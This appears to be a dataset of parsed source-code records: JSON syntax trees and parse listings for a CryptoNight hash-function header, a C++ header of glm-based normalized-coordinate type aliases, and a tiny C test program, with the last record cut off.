{"language": "c", "success": true, "metadata": {"lines": 17, "avg_line_length": 17.65, "nodes": 62, "errors": 0, "source_hash": "bf375074bea904296eb8557a1a7ea9d4902cf70c1629aa9af28eaee0de7dfaac", "categorized_nodes": 39}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef CRYPTONIGHT_H\r\n#define CRYPTONIGHT_H\r\n\r\n#ifdef __cplusplus\r\nextern \"C\" {\r\n#endif\r\n\r\n#include <stdint.h>\r\n\r\nvoid cryptonight_hash(const char* input, char* output, uint32_t len, int variant);\r\nvoid cryptonight_fast_hash(const char* input, char* output, uint32_t len);\r\n\r\n#ifdef __cplusplus\r\n}\r\n#endif\r\n\r\n#endif", "parent": null, "children": [1, 2, 3, 6, 61], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 16, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "identifier", "text": "CRYPTONIGHT_H", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 21}}, {"id": 3, "type": "preproc_def", "text": "#define CRYPTONIGHT_H\r\n", "parent": 0, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 7}}, {"id": 5, "type": "identifier", "text": "CRYPTONIGHT_H", "parent": 3, "children": [], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 21}}, {"id": 6, "type": "preproc_ifdef", "text": "#ifdef __cplusplus\r\nextern \"C\" {\r\n#endif\r\n\r\n#include <stdint.h>\r\n\r\nvoid cryptonight_hash(const char* input, char* output, uint32_t len, int variant);\r\nvoid cryptonight_fast_hash(const char* input, char* output, uint32_t len);\r\n\r\n#ifdef __cplusplus\r\n}\r\n#endif", "parent": 0, "children": [7, 8, 9, 60], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 14, "column": 6}}, {"id": 7, "type": "#ifdef", "text": "#ifdef", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 6}}, {"id": 8, "type": "identifier", "text": "__cplusplus", "parent": 6, "children": [], "start_point": {"row": 3, "column": 7}, "end_point": {"row": 3, "column": 18}}, {"id": 9, "type": "linkage_specification", "text": "extern \"C\" {\r\n#endif\r\n\r\n#include <stdint.h>\r\n\r\nvoid cryptonight_hash(const char* input, char* output, uint32_t len, int variant);\r\nvoid cryptonight_fast_hash(const char* input, char* output, uint32_t len);\r\n\r\n#ifdef __cplusplus\r\n}", "parent": 6, "children": [10, 11], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 13, "column": 1}}, {"id": 10, "type": "extern", "text": "extern", "parent": 9, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 6}}, {"id": 11, "type": "string_literal", "text": "\"C\"", "parent": 9, "children": [], "start_point": {"row": 4, "column": 7}, "end_point": {"row": 4, "column": 10}}, {"id": 12, "type": "preproc_call", "text": "#endif\r\n", "parent": 9, "children": [13], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 13, "type": "preproc_directive", "text": "#endif", "parent": 12, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 6}}, {"id": 14, "type": "preproc_include", "text": "#include <stdint.h>\r\n", "parent": 9, "children": [15, 16], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 8, "column": 0}}, {"id": 15, "type": "#include", "text": "#include", "parent": 14, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 8}}, {"id": 16, "type": "system_lib_string", "text": "<stdint.h>", "parent": 14, "children": [], "start_point": {"row": 7, "column": 9}, "end_point": {"row": 7, "column": 19}}, {"id": 17, "type": "declaration", "text": "void cryptonight_hash(const char* input, char* output, uint32_t len, int variant);", "parent": 9, "children": [18, 19], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 82}}, {"id": 18, "type": "primitive_type", "text": "void", "parent": 17, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 4}}, {"id": 19, "type": "function_declarator", "text": "cryptonight_hash(const char* input, char* output, uint32_t len, int variant)", "parent": 17, "children": [20, 21], "start_point": {"row": 9, "column": 5}, "end_point": {"row": 9, "column": 81}}, {"id": 20, "type": "identifier", "text": "cryptonight_hash", "parent": 19, "children": [], "start_point": {"row": 9, "column": 5}, "end_point": {"row": 9, "column": 21}}, {"id": 21, "type": "parameter_list", "text": "(const char* input, char* output, uint32_t len, int variant)", "parent": 19, "children": [22, 27, 32, 35], "start_point": {"row": 9, "column": 21}, "end_point": {"row": 9, "column": 81}}, {"id": 22, "type": "parameter_declaration", "text": "const char* input", "parent": 21, "children": [23, 24], "start_point": {"row": 9, "column": 22}, "end_point": {"row": 9, "column": 39}}, {"id": 23, "type": "primitive_type", "text": "char", "parent": 22, "children": [], "start_point": {"row": 9, "column": 28}, "end_point": {"row": 9, "column": 32}}, {"id": 24, "type": "pointer_declarator", "text": "* input", "parent": 22, "children": [25, 26], "start_point": {"row": 9, "column": 32}, "end_point": {"row": 9, "column": 39}}, {"id": 25, "type": "*", "text": "*", "parent": 24, "children": [], "start_point": {"row": 9, "column": 32}, "end_point": {"row": 9, "column": 33}}, {"id": 26, "type": "identifier", "text": "input", "parent": 24, "children": [], "start_point": {"row": 9, "column": 34}, "end_point": {"row": 9, "column": 39}}, {"id": 27, "type": "parameter_declaration", "text": "char* output", "parent": 21, "children": [28, 29], "start_point": {"row": 9, "column": 41}, "end_point": {"row": 9, "column": 53}}, {"id": 28, "type": "primitive_type", "text": "char", "parent": 27, "children": [], "start_point": {"row": 9, "column": 41}, "end_point": {"row": 9, "column": 45}}, {"id": 29, "type": "pointer_declarator", "text": "* output", "parent": 27, "children": [30, 31], "start_point": {"row": 9, "column": 45}, "end_point": {"row": 9, "column": 53}}, {"id": 30, "type": "*", "text": "*", "parent": 29, "children": [], "start_point": {"row": 9, "column": 45}, "end_point": {"row": 9, "column": 46}}, {"id": 31, "type": "identifier", "text": "output", "parent": 29, "children": [], "start_point": {"row": 9, "column": 47}, "end_point": {"row": 9, "column": 53}}, {"id": 32, "type": "parameter_declaration", "text": "uint32_t len", "parent": 21, "children": [33, 34], "start_point": {"row": 9, "column": 55}, "end_point": {"row": 9, "column": 67}}, {"id": 33, "type": "primitive_type", "text": "uint32_t", "parent": 32, "children": [], "start_point": {"row": 9, "column": 55}, "end_point": {"row": 9, "column": 63}}, {"id": 34, "type": "identifier", "text": "len", "parent": 32, "children": [], "start_point": {"row": 9, "column": 64}, "end_point": {"row": 9, "column": 67}}, {"id": 35, "type": "parameter_declaration", "text": "int variant", "parent": 21, "children": [36, 37], "start_point": {"row": 9, "column": 69}, "end_point": {"row": 9, "column": 80}}, {"id": 36, "type": "primitive_type", "text": "int", "parent": 35, "children": [], "start_point": {"row": 9, "column": 69}, "end_point": {"row": 9, "column": 72}}, {"id": 37, "type": "identifier", "text": "variant", "parent": 35, "children": [], "start_point": {"row": 9, "column": 73}, "end_point": {"row": 9, "column": 80}}, {"id": 38, "type": "declaration", "text": "void cryptonight_fast_hash(const char* input, char* output, uint32_t len);", "parent": 9, "children": [39, 40], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 74}}, {"id": 39, "type": "primitive_type", "text": "void", "parent": 38, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 4}}, {"id": 40, "type": "function_declarator", "text": "cryptonight_fast_hash(const char* input, char* output, uint32_t len)", "parent": 38, "children": [41, 42], "start_point": {"row": 10, "column": 5}, "end_point": {"row": 10, "column": 73}}, {"id": 41, "type": "identifier", "text": "cryptonight_fast_hash", "parent": 40, "children": [], "start_point": {"row": 10, "column": 5}, "end_point": {"row": 10, "column": 26}}, {"id": 42, "type": "parameter_list", "text": "(const char* input, char* output, uint32_t len)", "parent": 40, "children": [43, 48, 53], "start_point": {"row": 10, "column": 26}, "end_point": {"row": 10, "column": 73}}, {"id": 43, "type": "parameter_declaration", "text": "const char* input", "parent": 42, "children": [44, 45], "start_point": {"row": 10, "column": 27}, "end_point": {"row": 10, "column": 44}}, {"id": 44, "type": "primitive_type", "text": "char", "parent": 43, "children": [], "start_point": {"row": 10, "column": 33}, "end_point": {"row": 10, "column": 37}}, {"id": 45, "type": "pointer_declarator", "text": "* input", "parent": 43, "children": [46, 47], "start_point": {"row": 10, "column": 37}, "end_point": {"row": 10, "column": 44}}, {"id": 46, "type": "*", "text": "*", "parent": 45, "children": [], "start_point": {"row": 10, "column": 37}, "end_point": {"row": 10, "column": 38}}, {"id": 47, "type": "identifier", "text": "input", "parent": 45, "children": [], "start_point": {"row": 10, "column": 39}, "end_point": {"row": 10, "column": 44}}, {"id": 48, "type": "parameter_declaration", "text": "char* output", "parent": 42, "children": [49, 50], "start_point": {"row": 10, "column": 46}, "end_point": {"row": 10, "column": 58}}, {"id": 49, "type": "primitive_type", "text": "char", "parent": 48, "children": [], "start_point": {"row": 10, "column": 46}, "end_point": {"row": 10, "column": 50}}, {"id": 50, "type": "pointer_declarator", "text": "* output", "parent": 48, "children": [51, 52], "start_point": {"row": 10, "column": 50}, "end_point": {"row": 10, "column": 58}}, {"id": 51, "type": "*", "text": "*", "parent": 50, "children": [], "start_point": {"row": 10, "column": 50}, "end_point": {"row": 10, "column": 51}}, {"id": 52, "type": "identifier", "text": "output", "parent": 50, "children": [], "start_point": {"row": 10, "column": 52}, "end_point": {"row": 10, "column": 58}}, {"id": 53, "type": "parameter_declaration", "text": "uint32_t len", "parent": 42, "children": [54, 55], "start_point": {"row": 10, "column": 60}, "end_point": {"row": 10, "column": 72}}, {"id": 54, "type": "primitive_type", "text": "uint32_t", "parent": 53, "children": [], "start_point": {"row": 10, "column": 60}, "end_point": {"row": 10, "column": 68}}, {"id": 55, "type": "identifier", "text": "len", "parent": 53, "children": [], "start_point": {"row": 10, "column": 69}, "end_point": {"row": 10, "column": 72}}, {"id": 56, "type": "preproc_ifdef", "text": "#ifdef __cplusplus", "parent": 9, "children": [57, 58, 59], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 18}}, {"id": 57, "type": "#ifdef", "text": "#ifdef", "parent": 56, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 6}}, {"id": 58, "type": "identifier", "text": "__cplusplus", "parent": 56, "children": [], "start_point": {"row": 12, "column": 7}, "end_point": {"row": 12, "column": 18}}, {"id": 59, "type": "#endif", "text": "", "parent": 56, "children": [], "start_point": {"row": 12, "column": 18}, "end_point": {"row": 12, "column": 18}}, {"id": 60, "type": "#endif", "text": "#endif", "parent": 6, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 6}}, {"id": 61, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 6}}]}, "node_categories": {"declarations": {"functions": [19, 40], "variables": [17, 22, 27, 32, 35, 38, 43, 48, 53], "classes": [], "imports": [14, 15], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 6, 7, 8, 9, 20, 26, 31, 34, 37, 41, 47, 52, 55, 56, 57, 58, 59, 60, 61], "returns": [], "exceptions": []}, "expressions": {"calls": [12], "literals": [11, 16], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 19, "universal_type": "function", "name": "variant)", "text_snippet": "cryptonight_hash(const char* input, char* output, uint32_t len, int variant)"}, {"node_id": 40, "universal_type": "function", "name": "unknown", "text_snippet": "cryptonight_fast_hash(const char* input, char* output, uint32_t len)"}], "class_declarations": [], "import_statements": [{"node_id": 14, "text": "#include <stdint.h>\r\n"}, {"node_id": 15, "text": "#include"}]}, "original_source_code": "#ifndef CRYPTONIGHT_H\r\n#define CRYPTONIGHT_H\r\n\r\n#ifdef __cplusplus\r\nextern \"C\" {\r\n#endif\r\n\r\n#include <stdint.h>\r\n\r\nvoid cryptonight_hash(const char* input, char* output, uint32_t len, int variant);\r\nvoid cryptonight_fast_hash(const char* input, char* output, uint32_t len);\r\n\r\n#ifdef __cplusplus\r\n}\r\n#endif\r\n\r\n#endif\r\n"}
81,105
c
// // Dec-2020, <NAME> // MIT license // #pragma once #include "rect.h" #include "glm/vec2.hpp" namespace sp { /////////////////// // Normalized coordinates are in range [0.0, 1.0]. using NormCoord = float; using NormPos = glm::vec2; using NormVec = glm::vec2; using NormDim = glm::vec2; using NormRect = Rect<NormPos>; } // namespace sp
17.83
18
(translation_unit) "//\n// Dec-2020, <NAME>\n// MIT license\n//\n#pragma once\n#include "rect.h"\n#include "glm/vec2.hpp"\n\n\nnamespace sp\n{\n///////////////////\n\n// Normalized coordinates are in range [0.0, 1.0].\n\nusing NormCoord = float;\nusing NormPos = glm::vec2;\nusing NormVec = glm::vec2;\nusing NormDim = glm::vec2;\nusing NormRect = Rect<NormPos>;\n\n} // namespace sp\n" (comment) "//" (comment) "// Dec-2020, <NAME>" (comment) "// MIT license" (comment) "//" (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (preproc_include) "#include "rect.h"\n" (#include) "#include" (string_literal) ""rect.h"" (") """ (string_content) "rect.h" (") """ (preproc_include) "#include "glm/vec2.hpp"\n" (#include) "#include" (string_literal) ""glm/vec2.hpp"" (") """ (string_content) "glm/vec2.hpp" (") """ (function_definition) "namespace sp\n{\n///////////////////\n\n// Normalized coordinates are in range [0.0, 1.0].\n\nusing NormCoord = float;\nusing NormPos = glm::vec2;\nusing NormVec = glm::vec2;\nusing NormDim = glm::vec2;\nusing NormRect = Rect<NormPos>;\n\n}" (type_identifier) "namespace" (identifier) "sp" (compound_statement) "{\n///////////////////\n\n// Normalized coordinates are in range [0.0, 1.0].\n\nusing NormCoord = float;\nusing NormPos = glm::vec2;\nusing NormVec = glm::vec2;\nusing NormDim = glm::vec2;\nusing NormRect = Rect<NormPos>;\n\n}" ({) "{" (comment) "///////////////////" (comment) "// Normalized coordinates are in range [0.0, 1.0]." (declaration) "using NormCoord = float;" (type_identifier) "using" (init_declarator) "NormCoord = float" (identifier) "NormCoord" (=) "=" (identifier) "float" (;) ";" (declaration) "using NormPos = glm::vec2;" (type_identifier) "using" (init_declarator) "NormPos = glm::vec2" (identifier) "NormPos" (=) "=" (ERROR) "glm::" (identifier) "glm" (:) ":" (:) ":" (identifier) "vec2" (;) ";" (declaration) "using NormVec = glm::vec2;" (type_identifier) "using" (init_declarator) "NormVec = glm::vec2" (identifier) "NormVec" (=) "=" (ERROR) "glm::" (identifier) "glm" (:) ":" (:) ":" (identifier) "vec2" (;) ";" (declaration) "using NormDim = glm::vec2;" (type_identifier) "using" (init_declarator) "NormDim = glm::vec2" (identifier) "NormDim" (=) "=" (ERROR) "glm::" (identifier) "glm" (:) ":" (:) ":" (identifier) "vec2" (;) ";" (declaration) "using NormRect = Rect<NormPos>;" (type_identifier) "using" (init_declarator) "NormRect = Rect<NormPos" (identifier) "NormRect" (=) "=" (binary_expression) "Rect<NormPos" (identifier) "Rect" (<) "<" (identifier) "NormPos" (ERROR) ">" (>) ">" (;) ";" (}) "}" (comment) "// namespace sp"
81
4
{"language": "c", "success": true, "metadata": {"lines": 18, "avg_line_length": 17.83, "nodes": 53, "errors": 0, "source_hash": "09a008727f5f8ee0f6e8105e0dbf417263e8fb85335f55bb67c9c00a08007c9f", "categorized_nodes": 35}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\n", "parent": null, "children": [1, 2], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 5, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 4, "column": 0}, "end_point": {"row": 4, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once", "parent": 0, "children": [], "start_point": {"row": 4, "column": 8}, "end_point": {"row": 4, "column": 12}}, {"id": 3, "type": "preproc_include", "text": "#include \"rect.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 8}}, {"id": 5, "type": "string_literal", "text": "\"rect.h\"", "parent": 3, "children": [], "start_point": {"row": 5, "column": 9}, "end_point": {"row": 5, "column": 17}}, {"id": 6, "type": "preproc_include", "text": "#include \"glm/vec2.hpp\"\n", "parent": null, "children": [7, 8], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 8}}, {"id": 8, "type": "string_literal", "text": "\"glm/vec2.hpp\"", "parent": 6, "children": [], "start_point": {"row": 6, "column": 9}, "end_point": {"row": 6, "column": 23}}, {"id": 9, "type": "function_definition", "text": "namespace sp\n{\n///////////////////\n\n// Normalized coordinates are in range [0.0, 1.0].\n\nusing NormCoord = float;\nusing NormPos = glm::vec2;\nusing NormVec = glm::vec2;\nusing NormDim = glm::vec2;\nusing NormRect = Rect<NormPos>;\n\n}", "parent": null, "children": [10, 11], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 21, "column": 1}}, {"id": 10, "type": "type_identifier", "text": "namespace", "parent": 9, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 9}}, {"id": 11, "type": "identifier", "text": "sp", "parent": 9, "children": [], "start_point": {"row": 9, "column": 10}, "end_point": {"row": 9, "column": 12}}, {"id": 12, "type": "declaration", "text": "using NormCoord = float;", "parent": 9, "children": [13, 14], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 24}}, {"id": 13, "type": "type_identifier", "text": "using", "parent": 12, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 5}}, {"id": 14, "type": "init_declarator", "text": "NormCoord = float", "parent": 12, "children": [15, 16, 17], "start_point": {"row": 15, "column": 6}, "end_point": {"row": 15, "column": 23}}, {"id": 15, "type": "identifier", "text": "NormCoord", "parent": 14, "children": [], "start_point": {"row": 15, "column": 6}, "end_point": {"row": 15, "column": 15}}, {"id": 16, "type": "=", "text": "=", "parent": 14, "children": [], "start_point": {"row": 15, "column": 16}, "end_point": {"row": 15, "column": 17}}, {"id": 17, "type": "identifier", "text": "float", "parent": 14, "children": [], "start_point": {"row": 15, "column": 18}, "end_point": {"row": 15, "column": 23}}, {"id": 18, "type": "declaration", "text": "using NormPos = glm::vec2;", "parent": 9, "children": [19, 20], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 26}}, {"id": 19, "type": "type_identifier", "text": "using", "parent": 18, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 5}}, {"id": 20, "type": "init_declarator", "text": "NormPos = glm::vec2", "parent": 18, "children": [21, 22, 23, 25], "start_point": {"row": 16, "column": 6}, "end_point": {"row": 16, "column": 25}}, {"id": 21, "type": "identifier", "text": "NormPos", "parent": 20, "children": [], "start_point": {"row": 16, "column": 6}, "end_point": {"row": 16, "column": 13}}, {"id": 22, "type": "=", "text": "=", "parent": 20, "children": [], "start_point": {"row": 16, "column": 14}, "end_point": {"row": 16, "column": 15}}, {"id": 23, "type": "ERROR", "text": "glm::", "parent": 20, "children": [24], "start_point": {"row": 16, "column": 16}, "end_point": {"row": 16, "column": 21}}, {"id": 24, "type": "identifier", "text": "glm", "parent": 23, "children": [], "start_point": {"row": 16, "column": 16}, "end_point": {"row": 16, "column": 19}}, {"id": 25, "type": "identifier", "text": "vec2", "parent": 20, "children": [], "start_point": {"row": 16, "column": 21}, "end_point": {"row": 16, "column": 25}}, {"id": 26, "type": "declaration", "text": "using NormVec = glm::vec2;", "parent": 9, "children": [27, 28], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 26}}, {"id": 27, "type": "type_identifier", "text": "using", "parent": 26, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 5}}, {"id": 28, "type": "init_declarator", "text": "NormVec = glm::vec2", "parent": 26, "children": [29, 30, 31, 33], "start_point": {"row": 17, "column": 6}, "end_point": {"row": 17, "column": 25}}, {"id": 29, "type": "identifier", "text": "NormVec", "parent": 28, "children": [], "start_point": {"row": 17, "column": 6}, "end_point": {"row": 17, "column": 13}}, {"id": 30, "type": "=", "text": "=", "parent": 28, "children": [], "start_point": {"row": 17, "column": 14}, "end_point": {"row": 17, "column": 15}}, {"id": 31, "type": "ERROR", "text": "glm::", "parent": 28, "children": [32], "start_point": {"row": 17, "column": 16}, "end_point": {"row": 17, "column": 21}}, {"id": 32, "type": "identifier", "text": "glm", "parent": 31, "children": [], "start_point": {"row": 17, "column": 16}, "end_point": {"row": 17, "column": 19}}, {"id": 33, "type": "identifier", "text": "vec2", "parent": 28, "children": [], "start_point": {"row": 17, "column": 21}, "end_point": {"row": 17, "column": 25}}, {"id": 34, "type": "declaration", "text": "using NormDim = glm::vec2;", "parent": 9, "children": [35, 36], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 26}}, {"id": 35, "type": "type_identifier", "text": "using", "parent": 34, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 5}}, {"id": 36, "type": "init_declarator", "text": "NormDim = glm::vec2", "parent": 34, "children": [37, 38, 39, 41], "start_point": {"row": 18, "column": 6}, "end_point": {"row": 18, "column": 25}}, {"id": 37, "type": "identifier", "text": "NormDim", "parent": 36, "children": [], "start_point": {"row": 18, "column": 6}, "end_point": {"row": 18, "column": 13}}, {"id": 38, "type": "=", "text": "=", "parent": 36, "children": [], "start_point": {"row": 18, "column": 14}, "end_point": {"row": 18, "column": 15}}, {"id": 39, "type": "ERROR", "text": "glm::", "parent": 36, "children": [40], "start_point": {"row": 18, "column": 16}, "end_point": {"row": 18, "column": 21}}, {"id": 40, "type": "identifier", "text": "glm", "parent": 39, "children": [], "start_point": {"row": 18, "column": 16}, "end_point": {"row": 18, "column": 19}}, {"id": 41, "type": "identifier", "text": "vec2", "parent": 36, "children": [], "start_point": {"row": 18, "column": 21}, "end_point": {"row": 18, "column": 25}}, {"id": 42, "type": "declaration", "text": "using NormRect = Rect<NormPos>;", "parent": 9, "children": [43, 44, 51], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 31}}, {"id": 43, "type": "type_identifier", "text": "using", "parent": 42, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 5}}, {"id": 44, "type": "init_declarator", "text": "NormRect = Rect<NormPos", "parent": 42, "children": [45, 46, 47], "start_point": {"row": 19, "column": 6}, "end_point": {"row": 19, "column": 29}}, {"id": 45, "type": "identifier", "text": "NormRect", "parent": 44, "children": [], "start_point": {"row": 19, "column": 6}, "end_point": {"row": 19, "column": 14}}, {"id": 46, "type": "=", "text": "=", "parent": 44, "children": [], "start_point": {"row": 19, "column": 15}, "end_point": {"row": 19, "column": 16}}, {"id": 47, "type": "binary_expression", "text": "Rect<NormPos", "parent": 44, "children": [48, 49, 50], "start_point": {"row": 19, "column": 17}, "end_point": {"row": 19, "column": 29}}, {"id": 48, "type": "identifier", "text": "Rect", "parent": 47, "children": [], "start_point": {"row": 19, "column": 17}, "end_point": {"row": 19, "column": 21}}, {"id": 49, "type": "<", "text": "<", "parent": 47, "children": [], "start_point": {"row": 19, "column": 21}, "end_point": {"row": 19, "column": 22}}, {"id": 50, "type": "identifier", "text": "NormPos", "parent": 47, "children": [], "start_point": {"row": 19, "column": 22}, "end_point": {"row": 19, "column": 29}}, {"id": 51, "type": "ERROR", "text": ">", "parent": 42, "children": [52], "start_point": {"row": 19, "column": 29}, "end_point": {"row": 19, "column": 30}}, {"id": 52, "type": ">", "text": ">", "parent": 51, "children": [], "start_point": {"row": 19, "column": 29}, "end_point": {"row": 19, "column": 30}}]}, "node_categories": {"declarations": {"functions": [9], "variables": [12, 18, 26, 34, 42], "classes": [], "imports": [3, 4, 6, 7], "modules": [], "enums": []}, "statements": {"expressions": [47], "assignments": [], "loops": [], "conditionals": [10, 11, 13, 15, 17, 19, 21, 24, 25, 27, 29, 32, 33, 35, 37, 40, 41, 43, 45, 48, 50], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [5, 8], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 9, "universal_type": "function", "name": "unknown", "text_snippet": "namespace sp\n{\n///////////////////\n\n// Normalized coordinates are in range [0.0, 1.0].\n\nusing NormCo"}], "class_declarations": [], "import_statements": [{"node_id": 3, "text": "#include \"rect.h\"\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include \"glm/vec2.hpp\"\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "//\n// Dec-2020, <NAME>\n// MIT license\n//\n#pragma once\n#include \"rect.h\"\n#include \"glm/vec2.hpp\"\n\n\nnamespace sp\n{\n///////////////////\n\n// Normalized coordinates are in range [0.0, 1.0].\n\nusing NormCoord = float;\nusing NormPos = glm::vec2;\nusing NormVec = glm::vec2;\nusing NormDim = glm::vec2;\nusing NormRect = Rect<NormPos>;\n\n} // namespace sp\n"}
81,106
c
extern void test_lib_fn(); int main(int argc, char **argv) { test_lib_fn(); return 0; }
17.4
5
(translation_unit) "extern void test_lib_fn();\nint main(int argc, char **argv) {\n test_lib_fn();\n return 0;\n}\n" (declaration) "extern void test_lib_fn();" (storage_class_specifier) "extern" (extern) "extern" (primitive_type) "void" (function_declarator) "test_lib_fn()" (identifier) "test_lib_fn" (parameter_list) "()" (() "(" ()) ")" (;) ";" (function_definition) "int main(int argc, char **argv) {\n test_lib_fn();\n return 0;\n}" (primitive_type) "int" (function_declarator) "main(int argc, char **argv)" (identifier) "main" (parameter_list) "(int argc, char **argv)" (() "(" (parameter_declaration) "int argc" (primitive_type) "int" (identifier) "argc" (,) "," (parameter_declaration) "char **argv" (primitive_type) "char" (pointer_declarator) "**argv" (*) "*" (pointer_declarator) "*argv" (*) "*" (identifier) "argv" ()) ")" (compound_statement) "{\n test_lib_fn();\n return 0;\n}" ({) "{" (expression_statement) "test_lib_fn();" (call_expression) "test_lib_fn()" (identifier) "test_lib_fn" (argument_list) "()" (() "(" ()) ")" (;) ";" (return_statement) "return 0;" (return) "return" (number_literal) "0" (;) ";" (}) "}"
43
0
{"language": "c", "success": true, "metadata": {"lines": 5, "avg_line_length": 17.4, "nodes": 27, "errors": 0, "source_hash": "9654c45f6e8af966658c86148ca0889157c6b4ae72645f8308b439bb39799dbd", "categorized_nodes": 15}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "declaration", "text": "extern void test_lib_fn();", "parent": null, "children": [1, 3, 4], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 26}}, {"id": 1, "type": "storage_class_specifier", "text": "extern", "parent": 0, "children": [2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 6}}, {"id": 2, "type": "extern", "text": "extern", "parent": 1, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 6}}, {"id": 3, "type": "primitive_type", "text": "void", "parent": 0, "children": [], "start_point": {"row": 0, "column": 7}, "end_point": {"row": 0, "column": 11}}, {"id": 4, "type": "function_declarator", "text": "test_lib_fn()", "parent": 0, "children": [5, 6], "start_point": {"row": 0, "column": 12}, "end_point": {"row": 0, "column": 25}}, {"id": 5, "type": "identifier", "text": "test_lib_fn", "parent": 4, "children": [], "start_point": {"row": 0, "column": 12}, "end_point": {"row": 0, "column": 23}}, {"id": 6, "type": "parameter_list", "text": "()", "parent": 4, "children": [], "start_point": {"row": 0, "column": 23}, "end_point": {"row": 0, "column": 25}}, {"id": 7, "type": "function_definition", "text": "int main(int argc, char **argv) {\n test_lib_fn();\n return 0;\n}", "parent": null, "children": [8, 9], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 4, "column": 1}}, {"id": 8, "type": "primitive_type", "text": "int", "parent": 7, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 3}}, {"id": 9, "type": "function_declarator", "text": "main(int argc, char **argv)", "parent": 7, "children": [10, 11], "start_point": {"row": 1, "column": 4}, "end_point": {"row": 1, "column": 31}}, {"id": 10, "type": "identifier", "text": "main", "parent": 9, "children": [], "start_point": {"row": 1, "column": 4}, "end_point": {"row": 1, "column": 8}}, {"id": 11, "type": "parameter_list", "text": "(int argc, char **argv)", "parent": 9, "children": [12, 15], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 31}}, {"id": 12, "type": "parameter_declaration", "text": "int argc", "parent": 11, "children": [13, 14], "start_point": {"row": 1, "column": 9}, "end_point": {"row": 1, "column": 17}}, {"id": 13, "type": "primitive_type", "text": "int", "parent": 12, "children": [], "start_point": {"row": 1, "column": 9}, "end_point": {"row": 1, "column": 12}}, {"id": 14, "type": "identifier", "text": "argc", "parent": 12, "children": [], "start_point": {"row": 1, "column": 13}, "end_point": {"row": 1, "column": 17}}, {"id": 15, "type": "parameter_declaration", "text": "char **argv", "parent": 11, "children": [16, 17], "start_point": {"row": 1, "column": 19}, "end_point": {"row": 1, "column": 30}}, {"id": 16, "type": "primitive_type", "text": "char", "parent": 15, "children": [], "start_point": {"row": 1, "column": 19}, "end_point": {"row": 1, "column": 23}}, {"id": 17, 